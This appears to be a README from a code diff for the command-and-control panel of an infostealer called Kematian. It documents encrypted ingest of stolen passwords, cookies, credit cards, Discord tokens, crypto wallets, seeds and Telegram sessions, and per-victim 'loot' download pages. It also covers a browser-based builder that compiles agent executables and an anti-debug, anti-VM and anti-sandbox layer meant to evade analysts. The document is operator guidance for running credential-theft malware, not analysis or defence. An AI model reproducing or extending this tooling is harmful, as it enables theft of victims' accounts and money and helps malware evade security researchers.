| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
| `PANEL_PORT` | `5000` | Bind port |
**Change both secrets before exposing the panel.**
## E2EE
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
the panel; only its **public key** is needed by the agent.
**The agent fetches that public key itself at runtime** — so at build time you
only set the endpoint + ingest key. You never copy a key manually. The panel
serves it over:
```http
GET /e2ee/pub
Authorization: Bearer <PANEL_INGEST_KEY>
```
Wire scheme (agent encrypts, panel decrypts):
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
Only the panel private key can decrypt the payload.
## Ingest API
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
decrypts and splits every category into its own SQLite table.
```http
POST /api/ingest
Authorization: Bearer <PANEL_INGEST_KEY>
Content-Type: application/json
{ "enc": "base64..." }
```
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
else is flattened per row.
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
`blobs` table, so they're persisted as a backup and downloadable from the UI.
## Privacy & hardening
The panel is not meant to be discovered or probed by randoms:
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
ingress IPs outside your allowlist with 404.
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
window.
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
unrestricted (still gated by creds/rate-limit).
Additional env:
| Env var | Default | Purpose |
|-----------------------|-------------------------------|------------------------------------------|
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
## Wiring the agent
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
(either edit the vars or use `final/build_final.bat`):
- `PanelEndpoint` the panel's `/api/ingest` URL
- `PanelAuth` the `PANEL_INGEST_KEY`
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
the panel endpoint + auth key, injects them at build time, then restores sources.
## Web builder
The panel can build the agent entirely from the browser at **`/build`**:
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
2. Enter a build name.
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
runs `go build`, and drops the `.exe` in `builds/`.
4. Watch the live log, then **Download** the fresh agent.
The server needs `go` installed (and the agent source tree present at
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
it's copied, patched, and built in a temp dir. Built files are kept under
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
### Anti-analysis guard
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
runs inside the injected DLL before the payload starts. It scores the environment
and refuses to run on analysis hosts:
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
timing (breakpoint/single-step detection).
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
The web builder recompiles the Rust extractor before each `go build`; the local
`final/build_final.bat` does the same. `Cargo` must be installed and the
`x86_64-pc-windows-gnu` target present.
## Pages
- `/` dashboard with per-category stats + hosted-files count + recent clients
- `/clients` all reporting agents
- `/client/<id>` per-client data breakdown, link to its files
- `/client/<id>/loot` that client's hosted login files (wallet/Steam/Telegram)
- `/client/<id>/loot/<id>/download` download one hosted file
- `/client/<id>/loot/zip` download all of that client's files as one backup zip
- `/loot` every hosted file across all clients
- `/build` build a fresh agent from the browser (panel + Telegram config)
- `/cat/<category>` each data type on its own page with an icon
- `/search` search across passwords, cookies, tokens
- `/api/raw/<category>` raw JSON dump (admin auth required)
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
gaming, vpns.

Some files were not shown because too many files have changed in this diff Show More